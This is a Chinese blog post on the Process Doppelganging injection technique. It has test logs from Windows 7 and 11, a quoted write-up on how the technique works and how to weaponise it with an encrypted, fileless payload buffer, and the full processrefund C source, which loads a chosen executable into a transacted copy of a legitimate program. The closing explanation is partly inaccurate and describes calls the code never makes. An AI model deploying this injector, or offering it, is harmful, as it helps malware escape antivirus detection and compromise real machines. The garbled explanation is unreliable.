进程注入之Process Doppelganging(进程替身或进程分身)——技术限制较大,win7 64下实验成功,在我的win11 64下失效
写在前面
先说效果:win11 64位下
1 2 3 4 | processrefund.exe calc.exe MalExe.exe [+] Got ntdll.dll at 0x7ff93ee10000 [+] Got NtCreateSection at 0x00007FF93EEAF580 参数错误。 |
就算是关闭defender和杀软也不行。
自己写一个代码,不用calc.exe,看看:
1 2 3 4 | processrefund.exe sleephere44.exe MalExe.exe [+] Got ntdll.dll at 0x7ff93ee10000 [+] Got NtCreateSection at 0x00007FF93EEAF580 参数错误。 |
换到win7 64下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | C:\Download>processrefund.exe explorer.exe MalExe.exe [+] Got ntdll.dll at 0x77950000 [+] Got NtCreateSection at 0x00000000779B9D20 [+] Created a transaction, handle 0x20 [+] CreateFileTransacted on C:\Download\explorer.exe, handle 0x24 [+] opened malexe.exe, handle 0x28 [+] malexe size is 0x2800 [+] allocated 0x2800 bytes [+] read malexe.exe to buffer [+] over wrote C:\Download\explorer.exe in transcation [+] created a section with our new malicious C:\Download\explorer.exe [+] Got NtCreateProcessEx 0x00000000779B9D50 [+] Created our process, handle 0x30 [+] our new process oep is 0x1400012c4 [+] Got NtCreateThreadEx 0x00000000779BA300 [+] Got RtlCreateProcessParametersEx 0x000000007796A330 [+] creating Process Parameters at 0x00000000003588E0 [+] creating memory at process for our paramters 0x00350000 [+] writing our paramters to the process [+] Got NtQueryInformationProcess 0x00000000779B9A10 [+] writing our paramters to the process peb 0x000007FFFFFD6000 [+] Thread created with handle 34 [+] rolling back the original C:\Download\explorer.exe |
可以看到注入成功,explorer被注入效果图如下:
我们再试试windows的系统路径,
1 2 3 4 5 | C:\Download>processrefund.exe c:\windows\explorer.exe MalExe.exe [+] Got ntdll.dll at 0x77950000 [+] Got NtCreateSection at 0x00000000779B9D20 [+] Created a transaction, handle 0x20 拒绝访问。 |
1 2 3 4 5 | C:\Download>processrefund.exe c:\windows\system32\calc.exe MalExe.exe [+] Got ntdll.dll at 0x77950000 [+] Got NtCreateSection at 0x00000000779B9D20 [+] Created a transaction, handle 0x20 拒绝访问。 |
也就是说,直接使用系统路径是没法做注入的。恶意软件真想用这个技术,必须copy一份系统路径的exe,然后拉起来做注入,这种特点太明显。
总体说来,该技术的实用性并不强。但是为了技术完整性,我还是决定深入看看!
尤金·科岗和塔尔·利伯曼在Blackhat EU 2017上展示了一种称为"Process Doppelganging"的入侵检测规避技术,在这种方法中NTFS事务被用来创建一个包含我们的有效负载的虚拟文件,它用我们的有效负载创建一个新的NTFS内存段,然后回滚虚拟文件,使恶意软件只存在于内存中(我们新创建的部分),然后这个部分可以被加载到一个新的进程中,并在伪装下执行。
Process Doppelganging利用介绍
摘自:https://3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D0x00 前言
在最近的BlackHat Europe 2017,Tal Liberman和Eugene Kogan介绍了一种新的代码注入技术——Process Doppelgänging
据说这种利用方式支持所有Windows系统,能够绕过绝大多数安全产品的检测
于是,本文将要根据开源代码,编写程序,实现Process Doppelgänging,测试功能,分析利用思路
参考地址:
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
0x01 简介
本文将要介绍以下内容:
- 原理
- 开源代码
- 修复方法
- 实际测试
- 利用思路
- 防御检测
0x02 Process Doppelgänging原理
原理上类似于Process Hollowing,但是更加高级:
- 不需要使用傀儡进程
- 不需要特殊的内存操作,例如SuspendProcess和NtUnmapViewOfSection
注:
关于Process Hollowing的介绍,可参考之前的文章《傀儡进程的实现与检测》
实现思路:
1.打开一个正常文件,创建transaction
关于NTFS transaction,可参考:
http://www.ntfs.com/transaction.htm
2.在这个transaction内填入payload,payload作为进程被启动
目前为止,杀毒软件无法对填入的payload进行扫描
3.回滚transaction
相当于还原transaction,清理痕迹
对应程序实现过程:
1.创建transaction
关键函数:
- NtCreateTransaction
2.在这个transaction内填入payload
关键函数:
- CreateFileTransacted
- NtCreateSection
3.payload作为进程被启动
关键函数:
- NtCreateProcessEx
- NtCreateThreadEx
4.回滚transaction
关键函数:
- NtRollbackTransaction
当然,还涉及到payload的写入,申请内存、PE文件结构等,这里暂不介绍,可直接参考POC源码
对于Native API的使用,可参考之前的文章《渗透技巧——”隐藏”注册表的创建》和《渗透技巧——”隐藏”注册表的更多测试》
注:
Win10 RS3前的Win10系统,使用该方法会蓝屏,原因在于NtCreateProcessEx函数传入的空指针,细节可参考:
https://bugs.chromium.org/p/project-zero/issues/detail?id=852
0x03 开源POC
目前, 已公开的POC有两个
1、processrefund
地址:
https://github.com/Spajed/processrefund
目前仅支持64位Windows系统
编译工具:VS2015,安装sdk
实际测试:
Win7 x64
测试如下图
注:
如果选择system32下的calc.exe,会提示权限不够
启动进程calc.exe,但实际上执行MalExe.exe,弹出对话框
进程calc.exe的图标和描述都是正常的calc.exe,数字签名也正常,如下图
2、hfiref0x的POC
https://gist.github.com/hfiref0x/a9911a0b70b473281c9da5daea9a177f
仅有一个c文件,缺少头文件ntos.h
可供参考的位置:
https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h
但是还需要作二次修改
为了更加了解细节,决定不使用ntdll.lib文件(安装DDK后包含),改为通过ntdll获得Native API(当然,代码量也会增加)
以自己的方式重写一个ntos.h,并对原POC的inject.c作修改
开源地址如下:
https://github.com/3gstudent/Inject-dll-by-Process-Doppelganging
编译工具:VS2012
支持32位Windows系统
实际测试:
Win7 x86
测试如下图
注:
如果选择system32下的calc.exe,会提示权限不够
综上,我们可以看到,Process Doppelgänging在利用效果上和Process Hollowing类似:启动一个正常进程(正常的图标、签名、描述),在这个进程中执行payload
Process Doppelgänging在利用上的一个缺点: 需要替换文件,所以在替换system32下的文件时,会提示权限不够(管理员权限无法修改该路径下的文件)
0x04 利用思路
在上节我们测试了两个POC,对Process Doppelgänging有了一些认识
而在实际利用中,需要对POC作进一步修改,利用思路如下:
将读取payload的功能去掉,改为使用Buffer存储(可进行压缩编码减小长度)
执行时读取Buffer,解密执行
这样能进一步隐藏payload,实现payload的”无文件”(payload保存在exp中,不需要写入硬盘)
0x05 检测
Process Doppelgänging并不是能绕过所有的杀毒软件,几个关键函数的调用还是会被拦截(例如NtCreateThreadEx),并且进程的内存同PE文件存在差异
0x06 小结
本文介绍了Process Doppelgänging的原理,根据开源代码,编写程序,实现Windows x86和x64系统下的利用,测试功能,分析利用思路,介绍检测方法
我成功运行的代码如下(使用https://github.com/Spajed/processrefund,有一个ntdefs.h文件):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 | #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <KtmW32.h> #include <lmerr.h> #include <winternl.h> #include <psapi.h> #include <Processthreadsapi.h> #include "ntdefs.h" // To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS #pragma comment(lib, "psapi.lib") void DisplayErrorText( DWORD dwLastError ) { HMODULE hModule = NULL; // default to system source LPSTR MessageBuffer; DWORD dwBufferLength; DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM; // // If dwLastError is in the network range, // load the message source. // if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) { hModule = LoadLibraryEx( TEXT( "netmsg.dll" ), NULL, LOAD_LIBRARY_AS_DATAFILE ); if (hModule != NULL) dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE; } // // Call FormatMessage() to allow for message // text to be acquired from the system // or from the supplied module handle. // if (dwBufferLength = FormatMessageA( dwFormatFlags, hModule, // module to get message from (NULL == system) dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language ( LPSTR )&MessageBuffer, 0, NULL )) { DWORD dwBytesWritten; // // Output message string on stderr. // WriteFile( GetStdHandle(STD_ERROR_HANDLE), MessageBuffer, dwBufferLength, &dwBytesWritten, NULL ); // // Free the buffer allocated by the system. // LocalFree(MessageBuffer); } // // If we loaded a message source, unload it. // if (hModule != NULL) FreeLibrary(hModule); } LPVOID GetBaseAddressByName( HANDLE hProcess, char *module) { MEMORY_BASIC_INFORMATION mbi; SYSTEM_INFO si; LPVOID lpMem; char moduleName[MAX_PATH] = { 0 }; /* Get maximum address range from system info */ GetSystemInfo(&si); /* walk process addresses */ lpMem = 0; while (lpMem < si.lpMaximumApplicationAddress) { VirtualQueryEx(hProcess, lpMem, &mbi, sizeof (MEMORY_BASIC_INFORMATION)); GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH); if ( strstr (moduleName,module)) //mbi.Type & MEM_IMAGE) return mbi.BaseAddress; /* increment lpMem to next region of memory */ lpMem = ( LPVOID )(( ULONGLONG )mbi.BaseAddress +( ULONGLONG )mbi.RegionSize); } return NULL; } int main( int argc, char *argv[] ) { LARGE_INTEGER liFileSize; DWORD dwFileSize; HANDLE hSection; NTSTATUS ret; UNICODE_STRING string; if (argc < 3) { printf ( "%s <exe to Doppelgang> <your exe>" ,argv[0]); return 0; } HMODULE hNtdll = GetModuleHandle( "ntdll.dll" ); if (NULL==hNtdll) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got ntdll.dll at 0x%llx\n" , hNtdll); NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection" ); if (NULL == createSection) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got NtCreateSection at 0x%08p\n" , createSection); WCHAR temp[MAX_PATH] = { 0 }; char fileFullPath[MAX_PATH] = { 0 }; // argv[1] = "D:\\data\\calc.exe"; // argv[2] = "D:\\data\\MalExe.exe"; GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL); MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen (fileFullPath), temp, MAX_PATH); HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp); if (INVALID_HANDLE_VALUE == hTransaction) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Created a transaction, handle 0x%x\n" , hTransaction); HANDLE hTransactedFile = CreateFileTransacted(fileFullPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); if (INVALID_HANDLE_VALUE == hTransactedFile) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] CreateFileTransacted on %s, handle 0x%x\n" , fileFullPath, hTransactedFile); HANDLE hExe = CreateFile(argv[2], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hExe) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] opened malexe.exe, handle 0x%x\n" , hExe); BOOL err = GetFileSizeEx(hExe, &liFileSize); if (FALSE == err) { DisplayErrorText(GetLastError()); return -1; } dwFileSize = liFileSize.LowPart; printf ( "[+] malexe size is 0x%x\n" , dwFileSize); BYTE *buffer = malloc (dwFileSize); if (NULL == buffer) { printf ( "Malloc failed\n" ); return -1; } printf ( "[+] allocated 0x%x bytes\n" , dwFileSize); DWORD read = 0; if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] read malexe.exe to buffer\n" ); DWORD wrote = 0; if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] over wrote %s in transcation\n" , fileFullPath); ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] created a section with our new malicious %s\n" , fileFullPath); NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx" ); if (NULL == createProcessEx) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got NtCreateProcessEx 0x%08p\n" , createProcessEx); HANDLE hProcess=0; my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString" ); initUnicodeString(&string, temp); ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); printf ( "[+] Created our process, handle 0x%x\n" , hProcess); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer; PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew); ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint; oep+=( ULONGLONG )GetBaseAddressByName(hProcess,argv[1]); printf ( "[+] our new process oep is 0x%llx\n" , oep); NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx" ); if (NULL == createThreadEx) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got NtCreateThreadEx 0x%08p\n" , createThreadEx); my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0; RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx" ); if (NULL == createProcessParametersEx) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got RtlCreateProcessParametersEx 0x%08p\n" , createProcessParametersEx); ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] creating Process Parameters at 0x%p\n" , ProcessParams); LPVOID RemoteProcessParams; RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, ( ULONGLONG )ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); if (NULL == RemoteProcessParams) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] creating memory at process for our paramters 0x%08x\n" , RemoteProcessParams); ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] writing our paramters to the process\n" ); my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess" ); if (NULL == queryInformationProcess) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] Got NtQueryInformationProcess 0x%08p\n" , queryInformationProcess); PROCESS_BASIC_INFORMATION info; ret = queryInformationProcess( hProcess, ProcessBasicInformation, &info, sizeof (info), 0); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } PEB *peb = info.PebBaseAddress; ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof ( LPVOID ), NULL); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] writing our paramters to the process peb 0x%08p\n" , peb); HANDLE hThread; ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL); printf ( "[+] Thread created with handle %x\n" , hThread); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } if (FALSE == RollbackTransaction(hTransaction)) { DisplayErrorText(GetLastError()); return -1; } printf ( "[+] rolling back the original %s\n" , fileFullPath); CloseHandle(hProcess); CloseHandle(hExe); CloseHandle(hTransactedFile); CloseHandle(hTransaction); return 0; } |
1. 创建事务:首先,我们需要创建一个新的事务。在Windows中,事务是一种可以将一组操作作为一个整体来执行的机制。如果事务中的任何一个操作失败,那么整个事务都会被回滚,所有的操作都会被撤销。
2. 创建转录文件:然后,我们在事务中创建一个新的文件,这个文件是目标可执行文件(在这个例子中是calc.exe)的副本。
3. 写入负载:接着,我们将恶意代码(在这个例子中是mal.exe)写入到转录文件中。这个操作是在事务中进行的,所以它不会立即影响到磁盘上的文件。
4. 回滚事务:然后,我们回滚事务。这会删除转录文件,但是由于Windows的缓存机制,我们仍然可以访问这个文件的旧版本。这个旧版本包含了我们的恶意代码。补充:在Windows的事务性文件系统(TxF)中,当你在一个事务中修改一个文件,然后回滚这个事务,这个文件的修改会被撤销,文件会恢复到事务开始时的状态。这就是所谓的"旧版本"。然而,由于Windows的缓存机制,即使事务已经被回滚,我们仍然可以访问到事务中的文件。这是因为Windows在内存中保留了一个这个文件的副本,这个副本包含了在事务中对文件的所有修改。在Process Doppelgänging中,我们利用这个特性来隐藏恶意代码(核心!!!)。我们首先在一个事务中创建一个新的文件,然后将恶意代码写入到这个文件中。然后,我们回滚这个事务,这会删除这个文件,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。然后,我们创建一个新的进程,将这个进程的镜像文件替换为我们的文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
5. 创建新进程:然后,我们使用CreateProcess函数创建一个新的进程,但是在创建进程之前,我们将新进程的镜像文件替换为我们的转录文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
6. 恢复新进程:最后,我们使用ResumeThread函数恢复新进程的主线程,新进程就会开始执行我们的恶意代码。
中间有一大堆的进程参数设置?为啥需要使用RtlCreateProcessParametersEx设置创建新进程的参数???恶意文件不是已经在了旧版本里吗?
RtlCreateProcessParametersEx函数用于创建新进程的参数,这些参数会被存储在新进程的PEB(Process Environment Block)中。这些参数包括进程的命令行参数、环境变量、当前目录等信息。
在Process Doppelgänging中,我们需要创建新进程的参数,然后将这些参数写入到新进程的PEB中,这是因为新进程需要这些参数来正确地初始化。例如,新进程需要知道它的命令行参数来解析用户的输入,需要知道它的环境变量来访问系统资源,需要知道它的当前目录来解析相对路径等。
虽然我们已经将恶意代码写入到了旧版本的文件中,但是这只是新进程的镜像文件,它并不包含新进程的参数。新进程的参数需要我们单独创建和设置。这就是为什么我们需要使用RtlCreateProcessParametersEx函数的原因。
最后这个函数“画龙点睛”:RollbackTransaction函数用于回滚一个事务,也就是撤销在事务中进行的所有操作。在Process Doppelgänging中,我们在事务中创建了一个新的文件,然后将恶意代码写入到这个文件中。当我们回滚这个事务时,这个文件会被删除,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。
如果我们不调用RollbackTransaction函数,那么事务中的所有操作都会被提交,也就是说,我们对文件的修改会被写入到磁盘中。这样,恶意代码就会被写入到磁盘中,这可能会被杀毒软件检测到。此外,如果我们不回滚事务,那么我们就不能利用Windows的缓存机制来隐藏恶意代码。
因此,RollbackTransaction函数在Process Doppelgänging中起到了关键的作用。它不仅可以防止恶意代码被写入到磁盘中,还可以让我们利用Windows的缓存机制来隐藏恶意代码。
这种技术的优点是,它可以绕过大多数杀毒软件的检测,因为恶意代码并没有真正写入到磁盘中,而是隐藏在Windows的缓存中。此外,由于新进程是从一个合法的可执行文件创建的,所以它的大部分属性(例如进程名、命令行参数等)都看起来是正常的,这使得检测更加困难。
CreateTransaction
、CreateFileTransacted
、RollbackTransaction API
调用,以及NtCreateProcessEx和
NtCreateThreadEx,还有RtlCreateProcessParametersEx 修改进程PEB信息。
因此,RollbackTransaction函数在Process Doppelgänging中起到了关键的作用。它不仅可以防止恶意代码被写入到磁盘中,还可以让我们利用Windows的缓存机制来隐藏恶意代码。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2022-09-20 如何规避Sysmon DNS监控
2022-09-20 关于DNS cache
2022-09-20 svchost.exe详细解析,运行过程
2020-09-20 linux下Segmentation Fault生成coredump文件进行gdb调试
2019-09-20 python dijkstra 最短路算法示意代码
2019-09-20 heapq 对有序的数组列表进行整体排序
2017-09-20 HBase单机环境搭建